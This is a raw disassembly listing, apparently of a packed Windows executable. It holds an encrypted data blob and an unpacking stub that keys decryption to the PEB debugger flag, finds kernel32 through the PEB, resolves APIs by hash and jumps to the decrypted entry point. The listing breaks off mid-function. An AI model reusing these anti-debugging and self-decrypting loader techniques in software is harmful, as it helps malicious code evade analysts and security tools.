65636F72h, 1007373h, 72695600h dd 6C617574h, 746F7250h, 746365h, 47000h, 4700Eh, 0 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 2 dup(0) dd 0FFFFFF00h, 4702BFFh, 4701F00h, 5 dup(0) dd 4600000h, 1000h, 30C600h, 4Fh dup(0) dd 397F3E00h, 0BEAADF5Dh, 0A8D8DF5Ch, 0F40590F9h, 0E88B7BB3h dd 5B07F940h, 85490764h, 3554AD6h, 4F0C122Fh, 4FF26C27h dd 0BD0DC8Ah, 47000D52h, 6913BB0Fh, 0D1898693h, 885366C4h dd 18630A54h, 59D0F5ADh, 1A3AE94Ah, 6B97DA62h, 0B5CF7386h dd 315B051Bh, 0D8365EC4h, 0B06FE841h, 3FC4AC2Dh, 0CCFF13D2h dd 0FE4B83E2h, 0D7D375CCh, 18ABBC5Ah, 9E1D4002h, 0DE3E0304h dd 0C41D0926h, 0B26755EAh, 65B6BAA1h, 9DF93675h, 0FD6143CEh dd 9B83059Ch, 0DC2BA2D0h, 50A500FAh, 82993105h, 7A475DD6h dd 4874E65Fh, 7BDDE44Fh, 81D8EB93h, 5B9FF2ABh, 65D9F3FEh dd 0DF50759Bh, 9C87E2CDh, 0C97690Eh, 1998F783h, 971B51DBh dd 1184C240h, 9B3BEEC5h, 2C58FE28h, 0EB71BCCFh, 75212BE6h dd 4BE28E67h, 0AA87D855h, 8FB04FC3h, 0C3180DCFh, 0E90610CAh dd 6B76AB10h, 0FC8764A2h, 0F3930080h, 0D7ECED60h, 0C14EE53h dd 8EB9D948h, 0F3211459h, 410D2CD4h, 4846C0B0h, 31500424h dd 4C0C2ACEh, 1015E74Dh, 0BCE5D0D0h, 8E9518C4h, 0FBCB67C0h dd 0FB5E8452h, 0E4C255FBh, 1F7CF214h, 45B04149h, 0DC954870h dd 345EDF2Eh, 8E530715h, 49E03D93h, 6E4C6EE2h, 1CF71286h dd 61206D74h, 0C8D12C87h, 5FAFD83Ah, 0AC672DEAh, 3D7C873Bh dd 0CBFE3482h, 57E4F8Eh, 59BA1ED1h, 52F1451h, 95A59338h dd 8669D84Ah, 65D5A4B1h, 0B525A896h, 981A7453h, 6FCE1874h dd 446C1427h, 716DA0E0h, 93D4FC6Ah, 9ECF3A86h, 0C04F1327h dd 24E005B9h, 3F4C544Dh, 3A8B0B57h, 0A36BB44Eh, 425ADC4Ah dd 126A1861h, 0FE550219h, 0F67706Ah, 0C0FC3D66h, 5FE3EEDFh dd 0AE4CD4A5h, 0C70DE52Ch, 1BE51672h, 0A93971Eh, 55419E4Bh dd 49D08F8Ah, 8E9C1D1Eh, 7702DEE3h, 49E1B557h, 27B70819h dd 5C907FFAh, 0E9038C29h, 8B35A9B4h, 7207118Bh, 516F544Bh dd 4395EBA9h, 0F0120F39h, 98F48AE2h, 43205BFEh, 17000764h dd 7861B210h, 6D8CB2BBh, 25EB1873h, 8D5ECA69h, 4F12BFF4h dd 4A872247h, 0F8CDD488h, 29537AFBh, 5FE6B97Ah, 0E2DD70E4h dd 37D5EBCCh, 4C8F1830h, 0DF4FB75Ah, 0F0251661h, 0B419B707h dd 0A1BA7D44h, 0A831E9B9h, 0EC7660E3h, 0E97E3DABh, 2ED3B8C6h dd 0F24E6883h, 0A7DFE452h, 61F8D6C3h, 22938BC8h, 0A464DE13h dd 0A8E253CDh, 0E34A4092h, 461A16B4h, 4B18F5BEh, 0B2B2C852h dd 64C20113h, 676BD115h, 7EC44FD6h, 152D2CC4h, 9CFCBF5Dh dd 0D95F9070h, 231C613Eh, 92FBF3F3h, 0C76612A8h, 7A3843F7h dd 4B69DAB4h, 0C11A87F0h, 0F7A8F1D6h, 0E1242DECh, 0B2CFE208h dd 6715BA88h, 7538C63Eh, 0A343F6A7h, 0F2CB88A3h, 688EF5F6h dd 0B042377Ah, 90DE647Eh, 0F0599C08h, 4C67B519h, 74AB9727h dd 8ACC074Ah, 0B2CC97E3h, 0E443B9D1h, 3C1ADAD1h, 6C3208FDh dd 627F3F55h, 17E39521h, 0E4E7368Bh, 0CB8B9A66h, 150E2346h dd 0BA7BB40h, 5DD324FFh, 6A3ECC62h, 13EB2894h, 97FA75BBh dd 56933F44h, 0BCC94054h, 1EAB32CAh, 0DB94D7BDh, 255981EEh dd 47555D84h, 6E789A19h, 0A3E5DD0h, 24643B84h, 2BC8E38Ch dd 2EEBB756h, 0A3A4E20Ah, 0F5F9B37Ah, 0EE76072Ah, 0F2FA1563h dd 84123D0Bh, 444B12C7h, 0BE161EAFh, 98C29CF3h, 4CDAF6Fh dd 0EB983945h, 531585F3h, 4F5D600Eh, 48646558h, 0EE893A1Bh dd 63AB49C5h, 6AC460F1h, 0A6DC029h, 0A08E5266h, 63D20ED3h dd 0BAD94191h, 24835ABAh, 6D29A128h, 59AF51CBh, 0CBFA62F7h dd 57A387A8h, 52F5120h, 382E23A0h, 0F3D5A2F9h, 7734E80h dd 0B003F899h, 0B54B1390h, 0AE56F0F5h, 0BFA330B0h, 31E49B54h dd 12E6D8F7h, 84390828h, 0EB39FB46h, 68FD1853h, 0AFE800D6h dd 0E501A35h, 312D6C56h, 0D44BB0BCh, 21C5B25Bh, 13DEF6DBh dd 0EFFB310h, 4AE7D5Bh, 0DF6FB9A2h, 0AFD74B26h, 266BE966h dd 0E4B0BF5Ch, 2F595735h, 47F43800h, 932F889Ch, 78574959h dd 3804824h, 43271E22h, 3A7B19ACh, 0A46B57B2h, 0F77E2C70h dd 0A4285F19h, 7DCE3887h, 9515BA2Bh, 3354A4B5h, 0AD87E810h dd 0A2668AB0h, 95590DCAh, 0C73CEDC3h, 0DFC138AFh, 480D9FFDh dd 0C5E4AE28h, 0BCBC402Dh, 0E1FC04F5h, 0D7EBBDAEh, 687CDA2Fh dd 0D4B71A0Dh, 41F1C4FAh, 0F4D98D31h, 44EAF6BEh, 784CD479h dd 0E7247DCh, 4979259h, 0D29C3B93h, 0D1434C9Bh, 3F03FD64h dd 8634FD07h, 0A23C0749h, 9A2DB4ADh, 9C3AC5A5h, 504DC8h dd 0C00EAD6Fh, 4A9A1744h, 0F5C91B34h, 0EF676519h, 5D4FE628h dd 24B48B3Eh, 3A8E0167h, 24EDA977h, 0D77CCC3Ah, 800C6B7h dd 598A8CCFh, 9CF38E33h, 0BFF2751Bh, 18B19362h, 713B4A6Fh dd 0AC310FE6h, 905C1A2Fh, 2089A5CBh, 0C1995A6Fh, 9B48E5A9h dd 0F5EA26D6h, 91E6DA3h, 0CE35062h, 213436D1h, 0F6558429h dd 9FE2803Ch, 84EC9F75h, 8550FE54h, 9B5413A4h, 0DB875BA4h dd 0E9ECFD01h, 3EBE73EEh, 0C000EFDBh, 3278395h, 98EBCDA3h dd 8BD13B98h, 9111FF44h, 0F5E85655h, 42B7A714h, 3A0DDADh dd 0C28524E5h, 0DF3025C3h, 3E98F6D8h, 0BB81CFC9h, 6C4E4DBAh dd 27BA8D33h, 5C2541F6h, 9D27542Fh, 1E214D62h, 0EB139198h dd 5622705h, 9441FDB0h, 975ABDF1h, 94A8CDFFh, 0BD57AA85h dd 0F4149E7Dh, 0C1DCCB3Bh, 0A65A6C82h, 3E0E49CEh, 0B46EC845h dd 35422C84h, 765CCC88h, 0BA6EE5E4h, 11AB5687h, 0B842BD3h dd 6F49D9Fh, 0BF7CA37Bh, 1742CF81h, 0CF2FFBAEh, 90011D38h dd 0A2591B2Eh, 405D0587h, 0B579EAC5h, 0FB9CCD59h, 5CC8353Dh dd 0B5F8A894h, 355EE16Ah, 0E3C786D4h, 6CBF8A35h, 0C9AC5DF2h dd 0AE8357D3h, 46891F21h, 0E9401C2Dh, 0B477796Bh, 8CE113EEh dd 535486B5h, 78C88A0Bh, 0E846C7A3h, 46EF0452h, 0C3BFA835h dd 0D3B227E1h, 335CA79Bh, 0B2BBDE12h, 6E5AEED3h, 38ECA604h dd 8E32D685h, 0E6CCFA16h, 0D1A14A06h, 1518D765h, 2619D0EAh dd 7E7A05A5h, 0FDC41890h, 0AF8C9100h, 16C24F5Fh, 0A93A1B00h dd 0C991B774h, 90300B42h, 0A3EBA33Eh, 47E2BA58h, 0D3A0B02h dd 0EFD8C19Fh, 0FB8F5452h, 5B4F00C9h, 0B3F8FDFBh, 0B609D819h dd 0BBB85DACh, 0B3945CBEh, 34A530FEh, 6CEA6F98h, 9F9D5669h dd 0AD132481h, 0BCA28A7Fh, 496DA578h, 0AC348F14h, 0A5135B04h dd 0A5780644h, 92626304h, 0BB61AB25h, 1359EE9Dh, 0C32E4BE3h dd 964810CAh, 5E9A069Ah, 55E78B17h, 780E297Ch, 73E4760Fh dd 2BA7A370h, 0E29CA95Bh, 0AA017079h, 0CF4E35F4h, 0E3F90F65h dd 0CE8FF994h, 0B1F8CF7h, 6C7710E4h, 24252BE0h, 7481F199h dd 0E7429822h, 9C0172BEh, 8C56D70h, 6259496h, 55272DA5h dd 86A4686Dh, 833E0E70h, 0EDB44EF5h, 0C530EF0Ch, 0AA112D84h dd 97C992A1h, 52F95E29h, 0AE16907Fh, 6BFC227Dh, 0E34FA028h dd 38D57EAh, 0A8F0BFC5h, 66961B2Eh, 0ABD688Ch, 355291E1h dd 5A5CAB37h, 359D208h, 89FB4503h, 387E93FBh, 8A4B5736h dd 372DFEEh, 0C00278B1h, 0E6D128C7h, 4D098A65h, 0D241D441h dd 4B895593h, 5402D47Bh, 67135662h, 0D5707FD3h, 0AB10CA63h dd 68EE4E4Fh, 7AB96ECCh, 57442E3Eh, 73E0CCF5h, 2A1D023Eh dd 0F3830537h, 0EBADBC5Bh, 2BF839Fh, 2383BAC1h, 29A132CFh dd 11D8FB4Bh, 9868A44Dh, 8C4CD286h, 9CE6D06h, 246F3115h dd 44CFBD4Fh, 76050865h, 0FD496878h, 8100CB8h, 0DC073976h dd 18A2A6D4h, 0E6AE7469h, 1F13E9A6h, 54A16FA6h, 5F4CAC5Dh dd 8A5192E1h, 154118FEh dd 0EA662AECh, 0BB4168A7h, 0CCC2650Ah, 87B268C5h, 5835E512h dd 8C86EA3Dh, 40946BAh, 1798E9D6h, 0C891A750h, 0BC4C5DCh dd 0F0253364h, 44D2B754h, 0FC794496h, 9A0D2C9Bh, 50955033h dd 713253DDh, 0FB46C76Dh, 83A0A721h, 623FDCE4h, 0D526FF6Fh dd 93C7FD4Dh, 655C5DB3h, 1CA82070h, 18BFA940h, 7FDA823Ah dd 1050BF75h, 8C9BB167h, 9E767320h, 23B97813h, 0DC4FFE9Fh dd 0C1887FC3h, 0B878D20Dh, 574D85A4h, 0C9677D17h, 8D698D6Dh dd 4BE05A4Ch, 0FCC3ED7Eh, 3892F833h, 60201614h, 1571CD26h dd 0A73D1581h, 7FDBD592h, 6EA0C652h, 442DE46h, 7B256B12h dd 32D5B0C5h, 8C3D083Fh, 7D7FDBB8h, 5E6E825Ch, 0C03D0BEh dd 4AA29511h, 5649E50Bh, 4922C0F7h, 5911C13Fh, 70DD7DC1h dd 0AA41BE86h, 4BBC651h, 0E6221114h, 41DB5BCDh, 1718D594h dd 2F84A8C6h, 4E279CA5h, 61979463h, 0CDCEB070h, 0AF748BE9h dd 7F3CB264h, 0D857BB3Dh, 13196985h, 73C2715Fh, 71064696h dd 7F621AB6h, 175F69ECh, 84045B4Ah, 6D2CB330h, 0D2DAE4A8h dd 99A777AFh, 82DD4C5Ah, 9664F797h, 6DD1116Ch, 13C27230h dd 0D4967B21h, 59BDE9CBh, 0C01173A5h, 9393B17Ah, 0CD8AE00Dh dd 4D52D489h, 0D5AFD345h, 0F6881C50h, 0B9AD7228h, 0DCA129Bh dd 0D1766AF8h, 0B582D05Bh, 5D008EB3h, 0ED56D9F9h, 19EEDA8Dh dd 213A40CDh, 0E0A03D0Fh, 3A9DDBD0h, 2E26F532h, 0B65D3151h dd 11BFCF0Fh, 0B5E43AC8h, 0E792C926h, 0F63A15AEh, 1E05C11Bh dd 406791A8h, 5FAE3738h, 0AD8AC376h, 0DAB1F2FAh, 17D0642h dd 4EF2BC12h, 0BD14FFA1h, 4D505F0Bh, 52EE34BBh, 2CE6B329h dd 5AE43C5Bh, 0AB251943h, 89440D36h, 1F39D550h, 0D6976E9Dh dd 6123AE71h, 0F7B0EAC1h, 49F2A596h, 0F1861EFEh, 5404FB1Eh dd 0FE13DB2h, 77FF2156h, 0AB2DDAF4h, 65C0BCE6h, 0CBD661F0h dd 0D21688CBh, 6421A61Bh, 0D28E1643h, 0D3C3B6D1h, 977D475Fh dd 5293DB9Ch, 8700C04Eh, 0A6E57AF2h, 577265E1h, 0AD7BD7F5h dd 0F16D3F4Ah, 6F7713DDh, 808E59BDh, 3F213D57h, 0BBA1D2F1h dd 0CF99CD0h, 6624BE08h, 0A25B5B5Fh, 3DD99AFAh, 42CD2A10h dd 77276ABEh, 0BA510D3Ah, 79A7A3A6h, 0FD00B433h, 69263EA5h dd 0DFB5B58Eh, 524549DEh, 0B51C4B5Eh, 73E1D0E0h, 6BD091B7h dd 7F5381FBh, 25E82F9Bh, 4B68673Fh, 427567E8h, 7BCCA634h dd 47AFAC18h, 859E60B8h, 0AE0A16A3h, 0D86F5E6Bh, 45C8E2C0h dd 0ACD7B699h, 0F87EFE8Fh, 7548F8DEh, 0FFBDB5A2h, 0E8D62044h dd 3E3AA6D5h, 0C95D399h, 109375FEh, 24660E72h, 0A4D359BDh dd 0A079BF98h, 0FCF24858h, 631DFCh, 0C7C10596h, 0BD78754Eh dd 0F8BDAE04h, 5CFAA282h, 0AE320641h, 0AA165CC4h, 58173FC1h dd 7F650134h, 0EB5F07D5h, 0A08427EDh, 0BD6ED868h, 0D95A92F3h dd 0A4F679BEh, 81FC86DEh, 86D664E4h, 94314A5Eh, 16E1784Ch dd 9E55C684h, 0E1913DF2h, 81BB91D8h, 78B16BDEh, 549CE17Bh dd 235EB233h, 0A38C0AE2h, 0A16C8A60h, 0D0407680h, 0A7809F7Bh dd 2685B629h, 7BC3981h, 0ABD4B2E2h, 1BC46792h, 0FB0ADBB9h dd 39535D08h, 85EDDFC6h, 8C443E56h, 2775AA45h, 3AB1E874h dd 772FD979h, 41ED4E02h, 9717C029h, 91171DC6h, 71B88EEDh dd 2A52D5E0h, 216A056h, 0F7DCCB0Fh, 43591547h, 0AE2C5299h dd 65189C53h, 569449Eh, 23F10BFFh, 961E116Bh, 15204255h dd 0BDF74CD6h, 836747DFh, 9726664Ch, 977BE9F4h, 0F5A4A158h dd 751CA39Fh, 0A331A62Dh, 419F503Dh, 44A68943h, 581FDFBDh dd 6FE16B4Ch, 430832F0h, 16AD888Ch, 7D832805h, 0C1EFF4EDh dd 0B3F9522Dh, 522E7DAEh, 0C34D001Eh, 0D62D6D79h, 862698E4h dd 0D9ED10D3h, 6BF12C73h, 0EADDA003h, 459037E2h, 9D0FE343h dd 648FC150h, 8F8B9BBBh, 0BD394A95h, 5610E996h, 39B1C246h dd 0FD95518Bh, 0A9CB1EE1h, 9302AE48h, 72B07CD2h, 1E37E829h dd 53225989h, 59EEED18h, 0E45C1ACh, 9E470D88h, 0A1E4BAC9h dd 41E9C2F0h, 0FC4CAA28h, 0C5BC4256h, 0F65E58A3h, 0EBC60992h dd 5F88B583h, 484121DAh, 0BBCC2E0Bh, 52545D43h, 9E5C4883h dd 0D7C72A07h, 37234BFAh, 98C3FCFh, 3DC6E7A8h, 1B38456Dh dd 36FD2BD7h, 7DFB1BEBh, 597CA71Fh, 0D0471F0Ah, 0AD495397h dd 33C116B0h, 90EB853Dh, 0DA4DA479h, 7A40068Ch, 0A215AECEh dd 0B657C076h, 0F4F20A21h, 9317A0E3h, 7FA33139h, 6E32FE0Fh dd 4FFFFAFAh, 0D9A665D8h, 0BC1A8FD2h, 0BBB7E294h, 9739C9F1h dd 0DEF71A0h, 794C3A04h, 0A4E0EFCh, 639392D0h, 0F3EE81EDh dd 0FA3F7270h, 0DC2337F0h, 90F848Dh, 79FC7E17h, 6D9092E2h dd 6D9EDE39h, 0A5B49510h, 461809D9h, 0BD3C0C6Ah, 5A08BEFFh dd 0AD4C247Ah, 0C47BA134h, 8D6EE462h, 0BA58052Bh, 467FC565h dd 0B5E99022h, 5218A6FCh, 0A27FD7E8h, 6DC64057h, 41B7A935h dd 0F547582Eh, 2B5A8596h, 773101E5h, 0B467C73Eh, 889E8AEBh dd 62E4012Fh, 0EE16A96Eh, 0E9953BE9h, 0F1B1985Bh, 0D52C0B8Bh dd 0DB8577E7h, 0CE1DF5B0h, 2188E26Bh, 84637DBDh, 5D3D3AEh dd 0BE1A39Ah, 0F4CC87A5h, 3E2E8202h, 0A6A6ABA3h, 0A8A7E301h dd 0A606938Fh, 42C2C699h, 0EDF17B82h, 0FF9D6DECh, 63E29FAh dd 80403521h, 0E9EABDAFh, 0A7ED0F6Ah, 0D580B6D6h, 3C3A41C5h dd 0DD4DF4FBh, 2B381430h, 9535FC36h, 381171F4h, 0BA7DC428h dd 214F55FEh, 4E96309Bh, 7F5D6D27h, 0FAF4C771h, 94180492h dd 0E3C92484h, 0BF187256h, 0BCC1F80Ah, 323EC35Eh, 20922D4Eh dd 0EC8AC960h, 72D8D8D1h, 0E0F3BA19h, 0E4313A5h, 6E42ED4Ah dd 3E043ADh, 0EC5CD730h, 0B257173Ch, 7B55F71Fh, 3186E9BBh dd 0ADA7E337h, 0EC4F79E0h, 2D267342h, 3F1A375Bh, 0D562CC69h dd 520C90B3h, 1580087h, 521E0C38h, 0D0284604h, 231B99B6h dd 15D1FF72h, 253A2BE7h, 5AC63D8Dh, 0EDB374A9h, 4FCF4D10h dd 0D47117A1h, 62C1BD4Ah, 0FBC7B799h, 90660618h, 0C9B91A8Dh dd 0F8841592h, 21EF3A1Dh, 15F2BB64h, 57F1C5F5h, 0EFBEC32h dd 0F9214E76h, 44A511DFh, 3AE02FF6h, 0F9967408h, 99A07ED8h dd 0DB10FE96h, 0C40AA5E5h, 0ED958665h, 82CCB843h, 5AD4A68Ch dd 0F13FC926h, 63DAD44Dh, 5F511534h, 963E9CEh, 9554FA6Fh dd 0D3479269h, 0B37CB109h, 0EC316FEEh, 0E0D50A54h, 0E49B3D2Ch dd 5A670417h, 0EAC3C2ECh, 0F068249h, 88C9B755h, 66A1A318h dd 29A3FB92h, 0CB00B257h, 83E7F8DBh, 519977D3h, 63B547A3h dd 2C4DFCDFh, 1CEFC0F1h, 249944BFh, 2E8E818Dh, 8136571h dd 0D2B4FF9Fh, 0A514004Fh, 0AB78799Bh, 0BBE38EDFh, 7A90ED4Eh dd 121BED21h, 0FC35D678h, 0D9FE08D9h, 4DF7D9BEh, 6D8D9C2Ah dd 0E447886Eh, 1A794DF9h, 1167E665h, 78400BA5h, 0B5132D3Dh dd 3DEE83A3h, 0D90575A5h, 0DAEFB863h, 3D3486D0h, 0EAD668FFh dd 0CC3DB8F3h, 0D39AF343h, 0D86F3B08h, 7461AAA8h, 0AC62E8EAh dd 8C137047h, 8EA2D08Fh, 0BCFA00EEh, 530EB048h, 0D82AB93h dd 2A2832F5h, 18BB762Bh, 0A5F68EEFh, 23082CEDh, 0C3F69FD2h dd 0E48E5EE8h, 174D27B3h, 0DA99E966h, 22B19B96h, 0E334DB18h dd 9265735Bh, 0AF90D59Bh, 6543226Ah, 4DE10DC4h, 0DF86678Dh dd 6D8B8391h, 0F7A31F73h, 0B16B4DB2h, 38F1CC10h, 0D99D222Ch dd 74C69746h, 7CB4002Ch, 2AE7C542h, 0B5BB3597h, 0C75A8150h dd 11832AC6h, 6ABD40F3h, 5F64448Dh, 3AB03EAEh, 0D44D7892h dd 0C8926CE2h, 92418ACAh dd 21E7BE1Ah, 8727BAA0h, 0F2C800B8h, 31008AD0h, 0FEA218F5h dd 8C5EE84Eh, 0D288951Eh, 0F81CDD1Dh, 0E315CA2Fh, 8B5D4BEh dd 18C7AABAh, 0CFA365C1h, 0F8BF7381h, 15813676h, 0BA07711Ah dd 0E4FAA723h, 7D67E3DDh, 32346D23h, 6BB57B0Ch, 39A25878h dd 0C26E3E73h, 84605CC6h, 5443EECAh, 0ABB3871Bh, 493A408Fh dd 333F2F08h, 4EAA2A61h, 2B7A7ABEh, 0BB6CFE9Ah, 0FBA51971h dd 8E98288Dh, 0B88B071Ah, 8C8D4327h, 3030C49Ah, 0A8F69489h dd 7D33EF37h, 1A5FE96Eh, 0FB3FAD40h, 0AF13415Fh, 0CAC19FA2h dd 124EB6B1h, 0D316669Fh, 0E23A8465h, 637CD64Dh, 34EEE807h dd 0C0F32C87h, 37106E09h, 18DF4BA0h, 0DBD478E1h, 0D07B4417h dd 0BBAB23D4h, 3CC37989h, 7405C9A1h, 16DE998Ah, 8BD4686Eh dd 0B1ADA1E1h ; --------------------------------------------------------------------------- loc_469C00: ; CODE XREF: DMN1:0046BCDBj push ebx push ecx push edx push esi push edi push ebp mov eax, 4000h mov ecx, 1000h loc_469C10: ; CODE XREF: DMN1:00469C22j xor eax, ebx sub eax, 0B0B1560Dh add ax, cx ror eax, 7 add eax, 0DEADC0EDh loop loc_469C10 cld call $+5 pop eax mov ebp, eax sub ebp, 2Ah sub eax, 68C2Ah lea esi, [eax+41F21h] mov [ebp+2CAh], esi lea eax, [eax-1000h] mov [ebp+2A6h], eax mov edi, [esi+3Ch] add edi, esi mov [ebp+2B2h], esi mov [ebp+2B6h], edi pusha call sub_469F18 popa mov eax, [ebp+2A6h] mov edx, [eax+3Ch] add edx, eax mov eax, [edx+28h] add eax, [ebp+2A6h] mov [ebp+2BEh], eax mov eax, [edx+50h] mov [ebp+2C2h], eax mov edx, [ebp+304h] mov [ebp+2BAh], edx mov eax, [ebp+2A6h] mov [ebp+2AAh], eax sub eax, [ebp+300h] mov [ebp+2AEh], eax mov ecx, [ebp+30Ch] mov esi, [ebp+2B2h] mov edi, [ebp+2AAh] push edi loc_469CBF: ; CODE XREF: DMN1:00469CCDj lodsb push ecx mov ecx, large fs:30h sub al, [ecx+2] pop ecx stosb loop loc_469CBF pop edi mov eax, [edi+3Ch] add edi, eax mov [ebp+2B6h], edi mov eax, edi movzx edx, word ptr [eax+6] mov ebx, eax add ebx, 0F8h loc_469CE9: ; CODE XREF: DMN1:00469D1Ej xor eax, eax mov edi, [ebx+0Ch] cmp edi, eax jz short loc_469D1A mov ecx, [ebx+10h] jecxz short loc_469D1A mov esi, [ebx+14h] cmp esi, eax jz short loc_469D1A add esi, [ebp+2B2h] add edi, [ebp+2AAh] loc_469D0A: ; CODE XREF: DMN1:00469D18j lodsb push ecx mov ecx, large fs:30h add al, [ecx+2] pop ecx stosb loop loc_469D0A loc_469D1A: ; CODE XREF: DMN1:00469CF0j ; DMN1:00469CF5j ... add ebx, 28h dec edx jnz short loc_469CE9 mov eax, [ebp+2AAh] mov [ebp+2B2h], eax mov ecx, [ebp+2FCh] jecxz short loc_469D3C add ecx, eax mov dword ptr [ecx], 0 loc_469D3C: ; CODE XREF: DMN1:00469D32j mov esi, [ebp+2B6h] mov ecx, [esi+0A4h] jecxz short loc_469D8D mov ecx, [esi+0A0h] jecxz short loc_469D8D mov esi, [ebp+2AAh] add esi, ecx loc_469D5A: ; CODE XREF: DMN1:00469D6Bj ; DMN1:00469D8Bj lodsd or eax, eax jz short loc_469D8D add eax, [ebp+2AAh] mov edx, eax lodsd sub eax, 8 jz short loc_469D5A mov ecx, eax shr ecx, 1 loc_469D71: ; CODE XREF: DMN1:loc_469D89j lodsw test ah, 30h jz short loc_469D89 and eax, 0FFFh add eax, edx mov ebx, [eax] add ebx, [ebp+2AEh] mov [eax], ebx loc_469D89: ; CODE XREF: DMN1:00469D76j loop loc_469D71 jmp short loc_469D5A ; --------------------------------------------------------------------------- loc_469D8D: ; CODE XREF: DMN1:00469D48j ; DMN1:00469D50j ... mov edx, [ebp+308h] add edx, [ebp+2AAh] mov [ebp+2A2h], edx mov esi, [ebp+2B6h] mov esi, [esi+80h] or esi, esi jz loc_469E44 add esi, [ebp+2AAh] loc_469DB9: ; CODE XREF: DMN1:00469E3Fj mov eax, [esi+0Ch] or eax, eax jz loc_469E44 push esi add eax, [ebp+2AAh] cmp byte ptr [eax], 0 jz short loc_469E3A push eax call dword ptr [ebp+4ADh] or eax, eax jz loc_469E97 mov esi, [esp] push eax mov edi, [esi+10h] or edi, edi jz short loc_469E3A mov eax, edi add edi, [ebp+2AAh] mov edx, [esi] or edx, edx jnz short loc_469DFA mov edx, eax loc_469DFA: ; CODE XREF: DMN1:00469DF6j add edx, [ebp+2AAh] loc_469E00: ; CODE XREF: DMN1:00469E38j mov eax, [edx] or eax, eax jz short loc_469E3A bt eax, 1Fh jnb short loc_469E13 and eax, 0FFFFh jmp short loc_469E1C ; --------------------------------------------------------------------------- loc_469E13: ; CODE XREF: DMN1:00469E0Aj add eax, [ebp+2AAh] add eax, 2 loc_469E1C: ; CODE XREF: DMN1:00469E11j push edx push eax push dword ptr [esp+8] call dword ptr [ebp+4B6h] or eax, eax jz short loc_469E97 pop edx mov [edi], eax mov eax, 4 add edi, eax add edx, eax jmp short loc_469E00 ; --------------------------------------------------------------------------- loc_469E3A: ; CODE XREF: DMN1:00469DCEj ; DMN1:00469DE8j ... pop eax pop esi add esi, 14h jmp loc_469DB9 ; --------------------------------------------------------------------------- loc_469E44: ; CODE XREF: DMN1:00469DADj ; DMN1:00469DBEj mov ecx, [ebp+2AAh] mov eax, [ebp+2A2h] mov [esp+1Ch], ecx cld pusha mov edi, [ebp+2BEh] or edi, edi jz short loc_469E86 mov ecx, [ebp+2A2h] jecxz short loc_469E7C mov al, 0B8h stosb mov eax, ecx stosd mov eax, 0FFh stosb mov eax, 0E0h stosb jmp short loc_469E86 ; --------------------------------------------------------------------------- loc_469E7C: ; CODE XREF: DMN1:00469E66j mov al, 0C2h stosb mov eax, 0Ch stosw loc_469E86: ; CODE XREF: DMN1:00469E5Ej ; DMN1:00469E7Aj popa pop ebp pop edi pop esi pop edx pop ecx pop ebx cld or eax, eax jz short locret_469E94 jmp eax ; --------------------------------------------------------------------------- locret_469E94: ; CODE XREF: DMN1:00469E90j retn 0Ch ; --------------------------------------------------------------------------- loc_469E97: ; CODE XREF: DMN1:00469DD9j ; DMN1:00469E2Aj mov eax, 1 jmp dword ptr [ebp+4C8h] ; --------------------------------------------------------------------------- dd offset sub_407B60 align 4 dd 2 dup(40h), 0 a@a@: unicode 0, <@@> dw 0A000h dd 0D7890002h, 0F0000046h, 6, 2F210000h, 44h, 0Ch dup(0) dd 400000h, 2A000h, 7B60h, 400h, 25C00h, 0 ; =============== S U B R O U T I N E ======================================= sub_469F18 proc near ; CODE XREF: DMN1:00469C5Fp var_4 = dword ptr -4 mov eax, large fs:30h movzx ebx, byte ptr [eax+2] add eax, ebx mov eax, [eax+0Ch] mov edx, [eax+0Ch] push edx lea eax, [ebp+471h] push eax push large dword ptr fs:0 mov large fs:0, esp loc_469F40: ; CODE XREF: sub_469F18+9Dj mov edx, [esp+0Ch+var_4] mov eax, [edx+18h] mov ebx, eax mov eax, [eax+3Ch] add eax, ebx mov ecx, [eax+78h] jecxz short loc_469FAB cmp dword ptr [eax+7Ch], 0 jz short loc_469FAB add ecx, ebx mov esi, [ecx+0Ch] or esi, esi jz short loc_469FAB add esi, ebx mov eax, [esi] or eax, 20202020h mov [ebp+498h], eax mov eax, [esi+4] or ax, 2020h mov [ebp+49Ch], eax mov eax, [esi+8] or eax, 202020h mov [ebp+4A0h], eax mov byte ptr [ebp+4A4h], 0 lea esi, [ebp+498h] mov edi, 0Dh call sub_46A0E7 cmp eax, [ebp+494h] jz short loc_469FB7 loc_469FAB: ; CODE XREF: sub_469F18+39j ; sub_469F18+3Fj ... mov edx, [esp+0Ch+var_4] mov edx, [edx] mov [esp+0Ch+var_4], edx jmp short loc_469F40 ; --------------------------------------------------------------------------- loc_469FB7: ; CODE XREF: sub_469F18+91j mov [ebp+47Ch], ebx mov esi, [ebx+3Ch] add esi, ebx mov esi, [esi+78h] add esi, ebx add esi, 1Ch lodsd add eax, ebx mov [ebp+480h], eax lodsd add eax, ebx mov [ebp+484h], eax lodsd add eax, ebx mov [ebp+488h], eax sub esi, 10h lodsd mov [ebp+48Ch], eax xor edx, edx mov [ebp+490h], edx lea eax, [ebp+4A8h] loc_469FFD: ; CODE XREF: sub_469F18+110j ; sub_469F18+146j mov esi, [ebp+484h] add esi, edx mov esi, [esi] add esi, [ebp+47Ch] push eax push edx movzx edi, byte ptr [eax+4] call sub_46A0E7 xchg eax, ebx pop edx pop eax cmp ebx, [eax] jz short loc_46A02A add edx, 4 inc dword ptr [ebp+490h] jmp short loc_469FFD ; --------------------------------------------------------------------------- loc_46A02A: ; CODE XREF: sub_469F18+105j shr edx, 1 add edx, [ebp+488h] xor ebx, ebx mov bx, [edx] shl ebx, 2 add ebx, [ebp+480h] mov ecx, [ebx] add ecx, [ebp+47Ch] mov [eax+5], ecx add eax, 9 xor edx, edx mov [ebp+490h], edx lea ecx, [ebp+4E7h] cmp eax, ecx jb short loc_469FFD mov esp, large fs:0 pop eax mov large fs:0, eax pop eax pop eax retn sub_469F18 endp ; --------------------------------------------------------------------------- mov eax, [esp+8] mov esp, eax jmp loc_469FAB ; --------------------------------------------------------------------------- dd 7C800000h, 7C802644h, 7C803518h, 7C8043ECh, 3B5h, 0 aHfKernel32_dll db '>hf<kernel32.dll',0 align 4 dd 4134D1ADh, 801D770Dh, 0C97C1F7Ch, 0ADA00FFFh, 890E7C80h dd 510D4402h, 817C809Ah, 0C40F571h, 7C81CDDAh, 335DDFDCh dd 809E010Dh, 0FFFB147Ch, 0B9D10DF3h, 0D4BB7C80h, 0D00F79C3h db 1Ah, 80h, 7Ch ; =============== S U B R O U T I N E ======================================= sub_46A0E7 proc near ; CODE XREF: sub_469F18+86p ; sub_469F18+FBp push ebx push ecx push edx push esi push edi cld xor ecx, ecx dec ecx mov edx, ecx push 